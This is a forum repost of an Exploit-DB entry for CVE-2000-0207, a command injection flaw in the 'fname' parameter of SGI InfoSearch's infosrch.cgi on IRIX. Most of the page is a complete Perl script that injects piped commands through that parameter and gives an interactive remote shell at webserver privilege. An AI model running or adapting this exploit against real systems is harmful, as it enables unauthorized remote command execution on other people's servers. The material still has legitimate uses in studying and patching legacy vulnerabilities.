Exploit SGI InfoSearch 1.0 / SGI IRIX 6.5.x - fname

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19788
Проверка EDB
  1. Пройдено
Автор
RPC
Тип уязвимости
REMOTE
Платформа
IRIX
CVE
cve-2000-0207
Дата публикации
2000-03-05
SGI InfoSearch 1.0 / SGI IRIX 6.5.x - fname
Код:
source: https://www.securityfocus.com/bid/1031/info

The InfoSearch package converts man pages and other documentation into HTML web content. The search form uses infosrch.cgi which does not properly parse user input in the 'fname' variable, allowing commands to be executed at the webserver privilege level by remote web users.


#!/usr/bin/perl -w
# infosearch.cgi interactive shell. 
# usage: ./infosh.pl hostname
# 3/4/00
# --rpc <[email protected]>

use IO::Socket;
use CGI ":escape";
$|++;

die "usage: $0 host\n" unless(@ARGV == 1);
($host) = shift @ARGV;

$cgi = "/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|";

# url encode and send a command.
sub send_cmd
{
	my($url_command) = $cgi . CGI::escape(shift);
	$s = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>"tcp");
	if(!$s) { die "denied.\n"; }	
	print $s "GET $url_command HTTP/1.0\r\n";
	print $s "User-Agent: \r\n\r\n";
	@result = <$s>;
	shift @result until $result[0] =~ /^\r\n/; # uninteresting data. 
	shift @result; $#result--;		
return @result;
}

# draw a pseudo prompt. i like "\h:\w \$ ".
sub prompt
{
	@res = send_cmd("/sbin/pwd");	
	chomp($pwd = $res[0]);
	print "$host:", $pwd, "\$ ";
}

prompt;
while(!eof(STDIN)) {
	chomp($cmd = <STDIN>);
	print send_cmd($cmd);
	prompt;
}
 
Источник
www.exploit-db.com

Похожие темы